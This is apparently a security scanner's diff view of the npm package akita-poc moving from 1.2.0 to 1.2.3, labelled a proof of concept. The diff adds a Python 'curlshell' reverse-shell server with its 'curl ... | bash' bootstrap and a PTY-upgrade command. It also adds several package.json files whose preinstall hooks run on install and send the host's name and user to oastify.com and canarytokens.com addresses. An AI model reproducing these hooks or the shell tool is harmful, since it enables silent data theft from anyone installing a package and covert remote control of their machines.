akita-poc 1.2.0 → 1.2.3
Sign up to get free protection for your applications and to get access to all the features.
- package/nordic-dev/curlshell/README.md +24 -0
- package/nordic-dev/curlshell/curlshell.py +220 -0
- package/nordic-dev/index.js +3 -0
- package/nordic-dev/package.json +15 -0
- package/odin-security/index.js +3 -0
- package/odin-security/package.json +15 -0
- package/odin-security/packages.txt +0 -0
- package/package.json +4 -3
- package/package.json.odin-security +15 -0
@@ -0,0 +1,24 @@
|
|
1
|
+
# Reverse shell using curl
|
2
|
+
|
3
|
+
During security research, you may end up running code in an environment,
|
4
|
+
where establishing raw TCP connections to the outside world is not possible;
|
5
|
+
outgoing connection may only go through a connect proxy (HTTPS_PROXY).
|
6
|
+
This simple interactive HTTP server provides a way to mux
|
7
|
+
stdin/stdout and stderr of a remote reverse shell over that proxy with the
|
8
|
+
help of curl.
|
9
|
+
|
10
|
+
## Usage
|
11
|
+
|
12
|
+
Start your listener:
|
13
|
+
|
14
|
+
```
|
15
|
+
./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234
|
16
|
+
```
|
17
|
+
|
18
|
+
On the remote side:
|
19
|
+
|
20
|
+
```
|
21
|
+
curl https://curlshell:1234 | bash
|
22
|
+
```
|
23
|
+
|
24
|
+
That's it!
|
@@ -0,0 +1,220 @@
|
|
1
|
+
#!/usr/bin/env python3
|
2
|
+
|
3
|
+
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
|
4
|
+
import ssl
|
5
|
+
import json
|
6
|
+
import argparse
|
7
|
+
import requests
|
8
|
+
import sys
|
9
|
+
import select
|
10
|
+
import threading
|
11
|
+
import os
|
12
|
+
import tty
|
13
|
+
import termios
|
14
|
+
from collections import defaultdict
|
15
|
+
|
16
|
+
# inspired by: https://stackoverflow.com/questions/29023885/python-socket-readline-without-socket-makefile
|
17
|
+
import socket
|
18
|
+
from asyncio import IncompleteReadError # only import the exception class
|
19
|
+
|
20
|
+
PTY_UPGRADE_CMD = "p=$(which python || which python3); s=$(which bash || which sh); if [ -n $p ]; then exec $p -c 'import pty;pty.spawn(\"'$s'\")'; fi"
|
21
|
+
|
22
|
+
class SocketStreamReader:
|
23
|
+
def __init__(self, sock: socket.socket):
|
24
|
+
self._sock = sock
|
25
|
+
self._recv_buffer = bytearray()
|
26
|
+
|
27
|
+
def read(self, num_bytes: int = -1) -> bytes:
|
28
|
+
raise NotImplementedError
|
29
|
+
|
30
|
+
def readexactly(self, num_bytes: int) -> bytes:
|
31
|
+
buf = bytearray(num_bytes)
|
32
|
+
pos = 0
|
33
|
+
while pos < num_bytes:
|
34
|
+
n = self._recv_into(memoryview(buf)[pos:])
|
35
|
+
if n == 0:
|
36
|
+
raise IncompleteReadError(bytes(buf[:pos]), num_bytes)
|
37
|
+
pos += n
|
38
|
+
return bytes(buf)
|
39
|
+
|
40
|
+
def readline(self) -> bytes:
|
41
|
+
return self.readuntil(b"\n")
|
42
|
+
|
43
|
+
def readuntil(self, separator: bytes = b"\n") -> bytes:
|
44
|
+
if len(separator) != 1:
|
45
|
+
raise ValueError("Only separators of length 1 are supported.")
|
46
|
+
|
47
|
+
chunk = bytearray(4096)
|
48
|
+
start = 0
|
49
|
+
buf = bytearray(len(self._recv_buffer))
|
50
|
+
bytes_read = self._recv_into(memoryview(buf))
|
51
|
+
assert bytes_read == len(buf)
|
52
|
+
|
53
|
+
while True:
|
54
|
+
idx = buf.find(separator, start)
|
55
|
+
if idx != -1:
|
56
|
+
break
|
57
|
+
|
58
|
+
start = len(self._recv_buffer)
|
59
|
+
bytes_read = self._recv_into(memoryview(chunk))
|
60
|
+
buf += memoryview(chunk)[:bytes_read]
|
61
|
+
|
62
|
+
result = bytes(buf[: idx + 1])
|
63
|
+
self._recv_buffer = b"".join(
|
64
|
+
(memoryview(buf)[idx + 1 :], self._recv_buffer)
|
65
|
+
)
|
66
|
+
return result
|
67
|
+
|
68
|
+
def _recv_into(self, view: memoryview) -> int:
|
69
|
+
bytes_read = min(len(view), len(self._recv_buffer))
|
70
|
+
view[:bytes_read] = self._recv_buffer[:bytes_read]
|
71
|
+
self._recv_buffer = self._recv_buffer[bytes_read:]
|
72
|
+
if bytes_read == len(view):
|
73
|
+
return bytes_read
|
74
|
+
bytes_read += self._sock.readinto1(view[bytes_read:])
|
75
|
+
if bytes_read <= 0:
|
76
|
+
raise Exception("end of stream")
|
77
|
+
return bytes_read
|
78
|
+
|
79
|
+
def eprint(*args, **kwargs):
|
80
|
+
print(*args, **kwargs, file=sys.stderr)
|
81
|
+
|
82
|
+
lock = threading.Lock()
|
83
|
+
lockdata = defaultdict(int)
|
84
|
+
def locker(c, d, should_exit):
|
85
|
+
if not should_exit:
|
86
|
+
return
|
87
|
+
lock.acquire()
|
88
|
+
try:
|
89
|
+
lockdata[c] += d
|
90
|
+
if d < 0:
|
91
|
+
s = 0
|
92
|
+
for k in lockdata:
|
93
|
+
v = lockdata[k]
|
94
|
+
s += v
|
95
|
+
if s <= 0:
|
96
|
+
eprint("Exiting")
|
97
|
+
os._exit(0)
|
98
|
+
finally:
|
99
|
+
lock.release()
|
100
|
+
|
101
|
+
|
102
|
+
class ConDispHTTPRequestHandler(BaseHTTPRequestHandler):
|
103
|
+
|
104
|
+
# this is receiving the output of the bash process on the remote end and prints it to the local terminal
|
105
|
+
def do_PUT(self):
|
106
|
+
self.server.should_exit = False
|
107
|
+
w = self.path[1:]
|
108
|
+
d = getattr(sys, w)
|
109
|
+
if not d:
|
110
|
+
raise Exception("Invalid request")
|
111
|
+
locker(w, 1, not self.server.args.serve_forever)
|
112
|
+
eprint(w, "stream connected")
|
113
|
+
sr = SocketStreamReader(self.rfile)
|
114
|
+
while True:
|
115
|
+
line = sr.readline()
|
116
|
+
chunksize = int(line, 16)
|
117
|
+
if chunksize <= 0:
|
118
|
+
break
|
119
|
+
data = sr.readexactly(chunksize)
|
120
|
+
d.buffer.write(data)
|
121
|
+
d.buffer.flush()
|
122
|
+
# chunk trailer
|
123
|
+
sr.readline()
|
124
|
+
eprint(w, "stream closed")
|
125
|
+
self.server.should_exit = True
|
126
|
+
locker(w, -1, not self.server.args.serve_forever)
|
127
|
+
|
128
|
+
def _feed(self, data):
|
129
|
+
if self.server.args.dependabot_workaround:
|
130
|
+
self.wfile.write(data.encode())
|
131
|
+
self.wfile.flush()
|
132
|
+
else:
|
133
|
+
self._send_chunk(data)
|
134
|
+
|
135
|
+
# this is feeding the bash process on the remote end with input typed in the local terminal
|
136
|
+
def do_POST(self):
|
137
|
+
eprint("stdin stream connected")
|
138
|
+
self.send_response(200)
|
139
|
+
self.send_header('Content-Type', "application/binary")
|
140
|
+
self.send_header('Transfer-Encoding', 'chunked')
|
141
|
+
self.end_headers()
|
142
|
+
|
143
|
+
locker("stdin", 1, not self.server.args.serve_forever)
|
144
|
+
|
145
|
+
if self.server.args.upgrade_pty:
|
146
|
+
eprint(PTY_UPGRADE_CMD)
|
147
|
+
self._feed(PTY_UPGRADE_CMD+"\n")
|
148
|
+
|
149
|
+
while True:
|
150
|
+
s = select.select([sys.stdin, self.request], [], [], 1)[0]
|
151
|
+
if self.server.should_exit:
|
152
|
+
break
|
153
|
+
if self.request in s:
|
154
|
+
# input broken
|
155
|
+
break
|
156
|
+
if sys.stdin in s:
|
157
|
+
data = sys.stdin.readline()
|
158
|
+
self._feed(data)
|
159
|
+
self._send_chunk("")
|
160
|
+
eprint("stdin stream closed")
|
161
|
+
|
162
|
+
locker("stdin", -1, not self.server.args.serve_forever)
|
163
|
+
|
164
|
+
def do_GET(self):
|
165
|
+
eprint("cmd request received from", self.client_address)
|
166
|
+
schema = "https" if self.server.args.certificate else "http"
|
167
|
+
host = self.headers["Host"]
|
168
|
+
cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -s {schema}://{host}/input"
|
169
|
+
cmd+= f" | bash 2> >(curl -s -T - {schema}://{host}/stderr)"
|
170
|
+
cmd+= f" | curl -s -T - {schema}://{host}/stdout"
|
171
|
+
cmd+= "\n"
|
172
|
+
# sending back the complex command to be executed
|
173
|
+
self.send_response(200)
|
174
|
+
self.send_header('Content-Type', "text/plain")
|
175
|
+
self.send_header('Transfer-Encoding', 'chunked')
|
176
|
+
self.end_headers()
|
177
|
+
self._send_chunk(cmd)
|
178
|
+
self._send_chunk("")
|
179
|
+
eprint("bootstrapping command sent")
|
180
|
+
|
181
|
+
def _send_chunk(self, data):
|
182
|
+
if type(data) == str:
|
183
|
+
try:
|
184
|
+
data = data.encode()
|
185
|
+
except UnicodeEncodeError:
|
186
|
+
eprint("Invalid unicode character in the input, chunk not sent")
|
187
|
+
return
|
188
|
+
full_packet = '{:X}\r\n'.format(len(data)).encode()
|
189
|
+
full_packet += data
|
190
|
+
full_packet += b"\r\n"
|
191
|
+
self.wfile.write(full_packet)
|
192
|
+
self.wfile.flush()
|
193
|
+
|
194
|
+
|
195
|
+
def do_the_job(args):
|
196
|
+
httpd = ThreadingHTTPServer((args.listen_host, args.listen_port), ConDispHTTPRequestHandler)
|
197
|
+
setattr(httpd, "args", args)
|
198
|
+
setattr(httpd, "should_exit", False)
|
199
|
+
if args.certificate and args.private_key:
|
200
|
+
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER )
|
201
|
+
context.load_cert_chain(args.certificate, args.private_key)
|
202
|
+
httpd.socket = context.wrap_socket(httpd.socket)
|
203
|
+
eprint(f"https listener starting {args.listen_host}:{args.listen_port}")
|
204
|
+
else:
|
205
|
+
eprint(f"plain http listener starting {args.listen_host}:{args.listen_port}")
|
206
|
+
|
207
|
+
# handle_request()
|
208
|
+
httpd.serve_forever()
|
209
|
+
|
210
|
+
|
211
|
+
if __name__ == "__main__":
|
212
|
+
parser = argparse.ArgumentParser(description="Usage on target: curl https://curlshell | bash")
|
213
|
+
parser.add_argument("--private-key", help="path to the private key for TLS")
|
214
|
+
parser.add_argument("--certificate", help="path to the certificate for TLS")
|
215
|
+
parser.add_argument("--listen-host", default="0.0.0.0", help="host to listen on")
|
216
|
+
parser.add_argument("--listen-port", type=int, default=443, help="port to listen on")
|
217
|
+
parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)")
|
218
|
+
parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.")
|
219
|
+
parser.add_argument("--upgrade-pty", action='store_true', default=False, help=f"When a connection is established, attempt to invoke python to create a pseudo-terminal to improve the shell experience.")
|
220
|
+
do_the_job(parser.parse_args())
|
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "nordic-dev",
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "poc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl --data-urlencode info=$() http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
|
9
|
+
},
|
10
|
+
"author": "Akita",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"account": "^1.0.0"
|
14
|
+
}
|
15
|
+
}
|
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "odin-security",
|
3
|
+
"version": "8.8.88",
|
4
|
+
"description": "poc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl --data-urlencode info=$(hostname) http://mb17elapg37wp9tcg02w80r0frlr9hx6.oastify.com"
|
9
|
+
},
|
10
|
+
"author": "Akita",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"account": "^1.0.0"
|
14
|
+
}
|
15
|
+
}
|
File without changes
|
package/package.json
CHANGED
@@ -1,15 +1,16 @@
|
|
1
1
|
{
|
2
2
|
"name": "akita-poc",
|
3
|
-
"version": "1.2.
|
3
|
+
"version": "1.2.3",
|
4
4
|
"description": "poc",
|
5
5
|
"main": "index.js",
|
6
6
|
"scripts": {
|
7
7
|
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
-
"preinstall": "curl --data-urlencode info=$(hostname && whoami) http://
|
8
|
+
"preinstall": "curl --data-urlencode info=$(hostname && whoami) http://canarytokens.com/static/vku44mbctn82d4rl7is2qznz5/submit.aspx"
|
9
9
|
},
|
10
10
|
"author": "Akita",
|
11
11
|
"license": "ISC",
|
12
12
|
"dependencies": {
|
13
|
-
"account": "^1.0.0"
|
13
|
+
"account": "^1.0.0",
|
14
|
+
"akita-poc": "^1.2.0"
|
14
15
|
}
|
15
16
|
}
|
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "odin-security",
|
3
|
+
"version": "8.8.88",
|
4
|
+
"description": "poc",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl --data-urlencode info=$(hostname) http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
|
9
|
+
},
|
10
|
+
"author": "Akita",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"account": "^1.0.0"
|
14
|
+
}
|
15
|
+
}
|